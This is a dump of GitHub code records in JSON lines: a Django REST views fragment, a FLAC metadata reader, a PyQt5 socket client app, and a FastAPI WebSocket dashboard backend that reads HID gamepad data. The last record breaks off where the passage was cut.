@swagger_auto_schema(request_body=GetConsultingSerializer)\n def post(self, request):\n place = request.data['place']\n try:\n consult = Consulting.objects.get(place=place)\n serializer = ConsultingSerializer(consult)\n return Response(serializer.data)\n except Consulting.DoesNotExist:\n return Response(\"Bunday Consulting hozircha mavjud emas\", status=status.HTTP_404_NOT_FOUND)\n\n\n\n\n# API for post(add) new student\n# class ClientPostView(APIView):\n# serializer_class = ClientSerializer\n# queryset = Clients\n#\n# @swagger_auto_schema(request_body=ClientSerializer)\n# @csrf_protect\n# def post(self, request):\n# university = request.data.get('university')\n# faculty = request.data.get('faculty')\n# study_time = request.data.get('study_time')\n# if University.objects.filter(ID_raqam=university, faculty=faculty, time_study=study_time).exists():\n# serializers = ClientSerializer(data=request.data)\n# if serializers.is_valid():\n# serializers.save()\n# return Response({\n# \"status\": \"200.OK\",\n# \"data\": serializers.data\n# })\n# else:\n# return Response({\n# \"status\": \"400 Bad Request\",\n# \"errors\": serializers.errors\n# })\n# else:\n# return Response(\"Bunday universitet yoq\")\n\n# from rest_framework.generics import CreateAPIView\n# from rest_framework.response import Response\n# from .models import University, Clients\n# from .serializers import ClientSerializer\n# from django.views.decorators.csrf import csrf_exempt\n# from drf_yasg.utils import swagger_auto_schema\n", "repo_name": "Nazimjonovna/Informatory", "sub_path": "User/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7348, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 21, "usage_type": "name"}, {"api_name": "serializers.ClientGetSerializer", "line_number": 22, "usage_type": "name"}, {"api_name": "models.Clients", "line_number": 23, "usage_type": "name"}, {"api_name": "models.Clients.objects.filter", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Clients.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Clients", "line_number": 27, "usage_type": "name"}, {"api_name": "django.core.serializers.serialize", "line_number": 29, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 30, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.generics.CreateAPIView", "line_number": 36, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 37, "usage_type": "name"}, {"api_name": "models.Clients.objects.all", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Clients.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "models.Clients", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.parsers.MultiPartParser", "line_number": 39, "usage_type": "name"}, {"api_name": "models.University.objects.filter", "line_number": 46, "usage_type": "call"}, {"api_name": "models.University.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "models.University", "line_number": 46, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 47, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 50, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 55, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 60, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 41, "usage_type": "call"}, {"api_name": "serializers.ClientSerializer", "line_number": 41, "usage_type": "name"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 35, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 35, "usage_type": "argument"}, {"api_name": "rest_framework.views.APIView", "line_number": 64, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 65, "usage_type": "name"}, {"api_name": "models.Clients", "line_number": 66, "usage_type": "name"}, {"api_name": "models.Clients.objects.all", "line_number": 69, "usage_type": "call"}, {"api_name": "models.Clients.objects", "line_number": 69, "usage_type": "attribute"}, {"api_name": "models.Clients", "line_number": 69, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 70, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 71, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 75, "usage_type": "name"}, {"api_name": "serializers.UserSerializer", "line_number": 76, "usage_type": "name"}, {"api_name": "models.User", "line_number": 77, "usage_type": "name"}, {"api_name": "models.User.objects.filter", "line_number": 83, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 83, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 83, "usage_type": "name"}, {"api_name": "django.core.serializers", "line_number": 85, "usage_type": "name"}, {"api_name": "serializers.UserSerializer", "line_number": 85, "usage_type": "call"}, {"api_name": "django.core.serializers.is_valid", "line_number": 86, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 86, "usage_type": "name"}, {"api_name": "django.core.serializers.save", "line_number": 87, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 87, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 88, "usage_type": "call"}, {"api_name": "django.core.serializers.data", "line_number": 88, "usage_type": "attribute"}, {"api_name": "django.core.serializers", "line_number": 88, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 90, "usage_type": "call"}, {"api_name": "django.core.serializers.errors", "line_number": 90, "usage_type": "attribute"}, {"api_name": "django.core.serializers", "line_number": 90, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 92, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 79, "usage_type": "call"}, {"api_name": "serializers.UserSerializer", "line_number": 79, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 95, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 96, "usage_type": "name"}, {"api_name": "models.Clients.objects.filter", "line_number": 101, "usage_type": "call"}, {"api_name": "models.Clients.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "models.Clients", "line_number": 101, "usage_type": "name"}, {"api_name": "serializers.ClientSerializer", "line_number": 102, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 103, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 107, "usage_type": "name"}, {"api_name": "serializers.GetUniverView", "line_number": 108, "usage_type": "name"}, {"api_name": "models.Clients", "line_number": 109, "usage_type": "name"}, {"api_name": "models.Clients.objects.filter", "line_number": 114, "usage_type": "call"}, {"api_name": "models.Clients.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.Clients", "line_number": 114, "usage_type": "name"}, {"api_name": "serializers.GetUniverView", "line_number": 115, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 116, "usage_type": "call"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 111, "usage_type": "call"}, {"api_name": "serializers.GetUniverClients", "line_number": 111, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 120, "usage_type": "name"}, {"api_name": "serializers.UniversitySerializer", "line_number": 121, "usage_type": "name"}, {"api_name": "models.University", "line_number": 122, "usage_type": "name"}, {"api_name": "django.core.serializers", "line_number": 126, "usage_type": "name"}, {"api_name": "serializers.UniversitySerializer", "line_number": 126, "usage_type": "call"}, {"api_name": "django.core.serializers.is_valid", "line_number": 127, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 127, "usage_type": "name"}, {"api_name": "django.core.serializers.save", "line_number": 128, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 128, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 129, "usage_type": "call"}, {"api_name": "django.core.serializers.data", "line_number": 131, "usage_type": "attribute"}, {"api_name": "django.core.serializers", "line_number": 131, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 134, "usage_type": "call"}, {"api_name": "django.core.serializers.errors", "line_number": 136, "usage_type": "attribute"}, {"api_name": "django.core.serializers", "line_number": 136, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 124, "usage_type": "call"}, {"api_name": "serializers.UniversitySerializer", "line_number": 124, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 141, "usage_type": "name"}, {"api_name": "models.University.objects.all", "line_number": 143, "usage_type": "call"}, {"api_name": "models.University.objects", "line_number": 143, "usage_type": "attribute"}, {"api_name": "models.University", "line_number": 143, "usage_type": "name"}, {"api_name": "serializers.UniversitySerializer", "line_number": 144, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 145, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 149, "usage_type": "name"}, {"api_name": "serializers.ConsultingSerializer", "line_number": 150, "usage_type": "name"}, {"api_name": "models.Consulting", "line_number": 151, "usage_type": "name"}, {"api_name": "models.Consulting.objects.all", "line_number": 154, "usage_type": "call"}, {"api_name": "models.Consulting.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "models.Consulting", "line_number": 154, "usage_type": "name"}, {"api_name": "serializers.ConsultingSerializer", "line_number": 155, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 156, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 160, "usage_type": "name"}, {"api_name": "serializers.ConsultingSerializer", "line_number": 161, "usage_type": "name"}, {"api_name": "models.Consulting", "line_number": 162, "usage_type": "name"}, {"api_name": "models.Consulting.objects.get", "line_number": 168, "usage_type": "call"}, {"api_name": "models.Consulting.objects", "line_number": 168, "usage_type": "attribute"}, {"api_name": "models.Consulting", "line_number": 168, "usage_type": "name"}, {"api_name": "serializers.ConsultingSerializer", "line_number": 169, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 170, "usage_type": "call"}, {"api_name": "models.Consulting.DoesNotExist", "line_number": 171, "usage_type": "attribute"}, {"api_name": "models.Consulting", "line_number": 171, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 172, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 172, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 172, "usage_type": "name"}, {"api_name": "drf_yasg.utils.swagger_auto_schema", "line_number": 164, "usage_type": "call"}, {"api_name": "serializers.GetConsultingSerializer", "line_number": 164, "usage_type": "name"}]} +{"seq_id": "69831865245", "text": "from sys import platform\r\nimport os\r\nfrom mutagen.flac import FLAC\r\nimport re\r\n\r\ndef file_name_root_get():\r\n if platform == \"linux\" or platform == \"linux2\":\r\n path = os.getcwd()\r\n if not os.path.exists(os.path.join(path, \"FLAC Info by Nyako\")):\r\n os.mkdir(os.path.join(path, \"FLAC Info by Nyako\"))\r\n return os.path.join(path, \"FLAC Info by Nyako\")\r\n elif platform == \"win32\":\r\n from win32com.shell import shell, shellcon\r\n path = shell.SHGetKnownFolderPath(shellcon.FOLDERID_Documents)\r\n if not os.path.exists(os.path.join(path, \"FLAC Info by Nyako\")):\r\n os.mkdir(os.path.join(path, \"FLAC Info by Nyako\"))\r\n return os.path.join(path, \"FLAC Info by Nyako\")\r\n else:\r\n print(\"No use this os!\")\r\n\r\ndef get_ext(file_name):\r\n UP_name = file_name.upper()\r\n return UP_name.split(\".\")[-1]\r\n\r\ndef get_meta(file_name):\r\n ext_file = get_ext(file_name)\r\n audio = FLAC(file_name)\r\n file_name_small = str(audio.filename).split(\"\\\\\")[-1]\r\n metadata = audio.metadata_blocks\r\n meta_big_np = str(audio.pprint()).split(\"\\n\")\r\n print(\"--------------\")\r\n print(audio.pprint())\r\n meta_big = {}\r\n for ss in meta_big_np:\r\n if \"=\" in ss:\r\n meta_big[(ss.split(\"=\")[0]).upper()] = ss.split(\"=\")[1]\r\n khz_info = int(re.findall(r'[0-9]{1,7}', str(str(audio.pprint()).split(\"\\n\")[0]))[-1]) // 1000\r\n second_len = float(re.findall(r'[0-9\\.]{1,7}', str(str(audio.pprint()).split(\"\\n\")[0]))[0])\r\n file_stats = os.stat(file_name)\r\n size_file = (file_stats.st_size) // 1024\r\n bit_file = audio.info.bits_per_sample\r\n dict_res = {\"code\":1, \"khz\":khz_info, \"second\":second_len, \"size\":size_file, \"bit\":bit_file, \"ext\":ext_file, \"name\":file_name_small}\r\n if \"ARTIST\" in meta_big.keys():\r\n dict_res[\"artist\"] = meta_big[\"ARTIST\"]\r\n if \"TITLE\" in meta_big.keys():\r\n dict_res[\"song\"] = meta_big[\"TITLE\"]\r\n return dict_res\r\n\r\ndef get_list_file(folder):\r\n dir_root = folder\r\n filelist = []\r\n for root, dirs, files in os.walk(dir_root):\r\n for file in files:\r\n if get_ext(file) == \"FLAC\":\r\n filelist.append(os.path.join(root,file))\r\n return filelist\r\n\r\ndef get_time(secs):\r\n min = int(secs // 60)\r\n sec = int(secs - min * 60)\r\n if len(str(sec)) == 2:\r\n sec_append = \"\"\r\n elif len(str(sec)) == 1:\r\n sec_append = \"0\"\r\n else:\r\n sec_append = \"00\"\r\n res = str(min) + \":\" + sec_append + str(sec) \r\n return res\r\n\r\ndef get_info_folder(folder_name):\r\n all_bit = []\r\n count_size = 0\r\n count_song = 0\r\n count_time = 0\r\n list_file = get_list_file(folder_name)\r\n list_data = []\r\n for file_name in list_file:\r\n list_data.append(get_meta(file_name))\r\n res_text = \"\"\r\n for tt in list_data:\r\n count_song += 1\r\n text_add = \"[\" + tt[\"ext\"] + \"] [\" + get_time(tt[\"second\"]) + \"] \" + tt[\"artist\"] + \" - \" + tt[\"song\"] +\\\r\n \" \\n\"\r\n res_text += text_add\r\n count_size += tt[\"size\"]\r\n count_time += tt[\"second\"]\r\n all_bit.append(tt[\"bit\"])\r\n min_bit = 999999999\r\n max_bit = 0\r\n for ii in all_bit:\r\n if ii < min_bit:\r\n min_bit = ii\r\n if ii > max_bit:\r\n max_bit = ii\r\n if min_bit == max_bit:\r\n info_bit = str(min_bit)\r\n else:\r\n info_bit = str(min_bit) + \"-\" + str(max_bit)\r\n text_add = \"\\n\\n\\n[\" + tt[\"ext\"] + \"] [\" + get_time(count_time) + \"] \" + folder_name.split(\"\\\\\")[-1] +\\\r\n \" \"\r\n res_text += text_add\r\n print(res_text)\r\n return res_text\r\n\r\n\r\ndef save_info_folder(folder_name):\r\n res_text = get_info_folder(folder_name)\r\n save_name = os.path.join(file_name_root_get(), folder_name.split(\"\\\\\")[-1] + \".txt\")\r\n open(save_name, \"w\", encoding=\"utf-8\").write(res_text)\r\n\r\nfolder_name = input(\"> \")\r\nsave_info_folder(folder_name)\r\nfff = input(\"Press Enter...\")", "repo_name": "Hell13Cat/mus-get-info", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 4151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.platform", "line_number": 7, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.platform", "line_number": 12, "usage_type": "name"}, {"api_name": "win32com.shell.shell.SHGetKnownFolderPath", "line_number": 14, "usage_type": "call"}, {"api_name": "win32com.shell.shell", "line_number": 14, "usage_type": "name"}, {"api_name": "win32com.shell.shellcon.FOLDERID_Documents", "line_number": 14, "usage_type": "attribute"}, {"api_name": "win32com.shell.shellcon", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mutagen.flac.FLAC", "line_number": 27, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 37, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 38, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 39, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}]} +{"seq_id": "35983024015", "text": "from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox\nfrom PyQt5.QtCore import QThread\nimport socket\nimport threading\nimport os\nimport sys\nfrom collections import deque\nimport sys\nfrom Designer import Ui_MainWindow\nfrom time import sleep\nfrom auxiliar import *\n\n\nclass Cliente:\n def __init__(self, maquina='localhost', porta=50000):\n self.cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.maquina = maquina\n self.porta = porta\n self.cache_cliente = deque(maxlen=5)\n self.cache_servidor = deque(maxlen=5)\n self.usuario = os.environ['USERNAME']\n\n self.main()\n\n def enviar_mensagem(self, escolha):\n comando = menu[escolha][1]\n\n self.cache_cliente.appendleft(comando)\n self.cliente.send(f'{self.usuario},{comando}'.encode('utf_8'))\n\n def receber_mensagem(self):\n while True:\n try:\n msg = self.cliente.recv(2048).decode('utf_8')\n self.cache_servidor.appendleft(msg)\n except Exception as e:\n self.fechar()\n break\n\n def rodar_logs(self, escolha):\n conn_01 = threading.Thread(\n target=self.receber_mensagem)\n conn_02 = threading.Thread(\n target=self.enviar_mensagem, args=[escolha])\n\n conn_01.start()\n conn_02.start()\n\n def main(self):\n try:\n self.cliente.connect((self.maquina, self.porta))\n self.cliente.send(f'Conectado .. {self.usuario}'.encode('utf_8'))\n except Exception as e:\n print(e)\n print('Nao foi possivel conectar !')\n self.cliente.close()\n\n def fechar(self):\n self.cliente.close()\n\n\nclass Back(QThread):\n update_consulta = None\n\n def run(self):\n while True:\n self.update_consulta()\n sleep(2)\n\n\nclass App(QMainWindow, Ui_MainWindow):\n def __init__(self, parent=None):\n super().__init__(parent=parent)\n super().setupUi(self)\n\n ''' ESTILO DA LISTVIEW '''\n self.listCliente.setStyleSheet(estilo_cliente)\n self.listServidor.setStyleSheet(estilo_servidor)\n\n ''' ESTILO BUTAO '''\n self.btnExec.setStyleSheet(estilo_btn_exe)\n\n ''' COMPOSICAO COM A CLASE CLIENTE '''\n self.cliente = Cliente()\n\n ''' PARALELO '''\n self.back = Back()\n self.back.start()\n self.back.update_consulta = self.update_lista\n\n ''' CARREGANDO AS FUNCOES '''\n self.carrega_combo_tarefa()\n\n self.listCliente.setDisabled(True)\n self.listServidor.setDisabled(True)\n\n ''' COMANDO DOS BOTOES '''\n self.btnExec.clicked.connect(self.btn_executar)\n\n def carregar_cliente(self):\n self.listCliente.clear()\n\n for row in self.cliente.cache_cliente:\n self.listCliente.addItem(row)\n\n def carregar_servidor(self):\n self.listServidor.clear()\n\n for row in self.cliente.cache_servidor:\n self.listServidor.addItem(row)\n\n def carrega_combo_tarefa(self):\n\n for k, v in menu.items():\n self.comboTarefas.addItem(f'{k}: {v[0]}')\n\n def btn_executar(self):\n resposta = QMessageBox.warning(self, 'OK',\n 'Deseja executar ?',\n QMessageBox.Yes | QMessageBox.No,\n QMessageBox.No)\n\n if resposta == QMessageBox.Yes:\n selecionado = self.comboTarefas.currentText()\n selecionado = selecionado.split(':')[0].strip()\n\n self.cliente.rodar_logs(selecionado)\n\n def update_lista(self):\n self.carregar_cliente()\n self.carregar_servidor()\n\n def closeEvent(self, event):\n reply = QMessageBox.critical(self, 'Sair ?',\n 'Deseja Realmente sair ?',\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No)\n\n if reply == QMessageBox.Yes:\n if not type(event) == bool:\n self.cliente.fechar()\n event.accept()\n\n else:\n sys.exit()\n\n else:\n if not type(event) == bool:\n event.ignore()\n\n\nif __name__ == '__main__':\n qt = QApplication(sys.argv)\n app = App()\n app.show()\n qt.exec_()\n", "repo_name": "Marcus-Holanda777/QT5_socket", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 4348, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "socket.socket", "line_number": 16, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 16, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 16, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 19, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 41, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 62, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 71, "usage_type": "name"}, {"api_name": "Designer.Ui_MainWindow", "line_number": 71, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 118, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 118, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 120, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 121, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 121, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 123, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 123, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.critical", "line_number": 134, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 134, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 136, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 136, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 136, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 138, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 138, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 144, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 152, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 152, "usage_type": "attribute"}]} +{"seq_id": "37300018432", "text": "from fastapi import FastAPI, WebSocket\r\nfrom fastapi.testclient import TestClient\r\nfrom fastapi.websockets import WebSocket\r\nfrom fastapi.responses import StreamingResponse\r\nfrom fastapi.middleware.cors import CORSMiddleware\r\nimport hid\r\nimport random\r\nimport time\r\n\r\napp=FastAPI()\r\napp.add_middleware(\r\n CORSMiddleware,\r\n allow_origins=[\"http://127.0.0.1:80\",\"https://127.0.0.1:80\",\"http://127.0.0.1:8000\",\"*:*\",\"*\"],\r\n allow_credentials=True,\r\n allow_methods=[\"*\"],\r\n allow_headers=[\"*\"],\r\n)\r\n\r\n# @app.websocket(\"/ws\")\r\n# async def training_status(websocket: WebSocket):\r\n# print(\"Connecting to the App...\")\r\n# await websocket.accept()\r\n# try:\r\n# data={\r\n# \"msg\":\"Hello WebSocket\"\r\n# }\r\n# # data2= await websocket.receive_text() #Can be used to receive data from App\r\n# # print(data2)\r\n# await websocket.send_json(data) #Can be used to return data to the App\r\n# except Exception as e:\r\n# print(\"Error: \",e)\r\n# print(\"Websocket connection closing...\")\r\n\r\n@app.get(\"/\")\r\nasync def read_main():\r\n return {\"msg\": \"Hello World\"}\r\n\r\n\r\n@app.websocket_route(\"/ws\")\r\nasync def websocket(websocket: WebSocket):\r\n await websocket.accept()\r\n await websocket.send_text(\"hello\")\r\n await websocket.close()\r\n\r\n@app.websocket_route(\"/ws1\")\r\nasync def websocket(websocket: WebSocket):\r\n await websocket.accept()\r\n while True:\r\n data=await websocket.receive_text()\r\n print(data)\r\n data=random.randint(60,65)\r\n await websocket.send_text(str(data))\r\n if(str(data)==\"no\"):\r\n break\r\n await websocket.close()\r\n\r\n\r\n@app.websocket_route(\"/ws2\") # Working\r\nasync def websocket(websocket: WebSocket):\r\n await websocket.accept()\r\n while True:\r\n # data=await websocket.receive_text()\r\n # print(data)\r\n # if(str(data)==\"no\"):\r\n # break\r\n #'MOSFET_TEMP' 'SPEED' 'BATTERY' 'DISTANCE' 'FAULT CODE'\r\n await websocket.send_json({\r\n \"MOSFET_TEMP\": random.randint(35,40),\r\n \"SPEED\": random.randint(40,44),\r\n \"BATTERY\": random.randint(90,95),\r\n \"DISTANCE\": random.randint(24,25),\r\n \"TOTAL_DISTANCE\": random.randint(3045,3046),\r\n \"FAULT_VALUE\": random.randint(0,1)\r\n })\r\n await websocket.close()\r\n\r\n\r\n@app.websocket_route(\"/ws3\") #Changed recently\r\nasync def websocket(websocket: WebSocket):\r\n await websocket.accept()\r\n gamepad = hid.device()\r\n # time.sleep(2)\r\n # gamepad.open(0x0f0d, 0x00c1)\r\n gamepad.open(0x0810,0x0001)\r\n gamepad.set_nonblocking(True)\r\n while True:\r\n try:\r\n #'MOSFET_TEMP' 'SPEED' 'BATTERY' 'DISTANCE' 'FAULT CODE'\r\n report = gamepad.read(64)\r\n if report:\r\n #time.sleep(0.3)\r\n print(report)\r\n json_object={\r\n \"mode\":report[6],\r\n #\"lights\":report[1],\r\n \"battery_percentage\":report[1],\r\n \"speedometer\":report[3],\r\n\t\t\"faults\":report[5] \r\n }\r\n # yield json_object\r\n # yield str(json_object).encode()\r\n await websocket.send_json(json_object)\r\n except Exception as e:\r\n print(\"An Error Occured: \",e)\r\n # print(e)\r\n gamepad.close()\r\n break\r\n # await websocket.send_json({\r\n # \"MOSFET_TEMP\": random.randint(35,40),\r\n # \"SPEED\": random.randint(40,44),\r\n # \"BATTERY\": random.randint(90,95),\r\n # \"DISTANCE\": random.randint(24,25),\r\n # \"TOTAL_DISTANCE\": random.randint(3045,3046),\r\n # \"FAULT_VALUE\": random.randint(0,1)\r\n # })\r\n # await websocket.close()\r\n\r\n\r\n\r\ndef test_read_main():\r\n client = TestClient(app)\r\n response = client.get(\"/\")\r\n assert response.status_code == 200\r\n assert response.json() == {\"msg\": \"Hello World\"}\r\n\r\n\r\ndef test_websocket():\r\n client = TestClient(app)\r\n with client.websocket_connect(\"/ws\") as websocket:\r\n data = websocket.receive_json()\r\n print(data)\r\n assert data == {\"msg\": \"Hello WebSocket\"}\r\n\r\n\r\ndef generator_obj_val():\r\n for device in hid.enumerate():\r\n print(f\"0x{device['vendor_id']:04x}:0x{device['product_id']:04x} {device['product_string']}\")\r\n gamepad = hid.Device(0x0810,0x0001)\r\n time.sleep(1)\r\n # gamepad.open(0x0f0d, 0x00c1)\r\n #gamepad.open(0x0810,0x0001)\r\n# gamepad.set_nonblocking(True)\r\n while True:\r\n try:\r\n report = gamepad.read(64)\r\n if report:\r\n print(report)\r\n json_object={\r\n \"mode\":report[6],\r\n \"faults\":report[1],\r\n \"battery_percentage\":report[5],\r\n \"speedometer\":report[2] \r\n }\r\n # yield json_object\r\n yield str(json_object).encode()\r\n except Exception as e:\r\n print(\"An Error Occured: \",e)\r\n gamepad.close()\r\n break\r\n \r\n\r\n@app.get(\"/test\")\r\ndef test_endpoint():\r\n return StreamingResponse(generator_obj_val())\r\n\r\n", "repo_name": "sumithgs/Digital_Dashboard", "sub_path": "backend_server/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5243, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "fastapi.FastAPI", "line_number": 10, "usage_type": "call"}, {"api_name": "fastapi.middleware.cors.CORSMiddleware", "line_number": 12, "usage_type": "argument"}, {"api_name": "fastapi.websockets.WebSocket", "line_number": 40, "usage_type": "name"}, {"api_name": "fastapi.websockets.WebSocket", "line_number": 46, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 51, "usage_type": "call"}, {"api_name": "fastapi.websockets.WebSocket", "line_number": 59, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 68, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 69, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 70, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 71, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 72, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 73, "usage_type": "call"}, {"api_name": "fastapi.websockets.WebSocket", "line_number": 79, "usage_type": "name"}, {"api_name": "hid.device", "line_number": 81, "usage_type": "call"}, {"api_name": "fastapi.testclient.TestClient", "line_number": 121, "usage_type": "call"}, {"api_name": "fastapi.testclient.TestClient", "line_number": 128, "usage_type": "call"}, {"api_name": "hid.enumerate", "line_number": 